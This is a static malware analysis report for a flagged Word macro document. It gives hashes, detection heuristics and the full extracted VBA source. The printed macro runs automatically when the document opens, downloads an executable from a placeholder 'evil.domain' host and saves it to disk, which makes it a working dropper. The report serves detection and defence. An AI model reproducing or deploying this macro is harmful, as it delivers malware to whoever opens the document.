Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f3dbc94b5b75c010…

MALICIOUS

Office (OOXML)

18.3 KB Created: 2021-03-24 19:30:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-04-10
MD5: f7b5f93a7dd5cbb81d2697c88e06a0c7 SHA-1: 0fac985f5236a5b95c012aee73390c74dc1103e2 SHA-256: f3dbc94b5b75c010b7d8faddf31c40bfa629ee64849ab06dbfa8c5d8180b7032
250 Risk Score

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
     .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.evil.domain/evil.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 709 bytes
SHA-256: e1b2114d9f537c5a252a58a3201fccb168b8b3789916010c69ac96d6efff2b61
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
    Mac
End Sub

Sub Mac()

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://www.evil.domain/evil.exe", False
xHttp.Send

With bStrm
 .Type = 1 '//binary
 .Open
 .write xHttp.responseBody
 .savetofile "safe_file.exe", 2 '//overwrite
 MsgBox "done"
End With

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 157f386ed822b4a7b167ec7edecbf8dc35e1ce9b518c555c923e894637b2f2f5
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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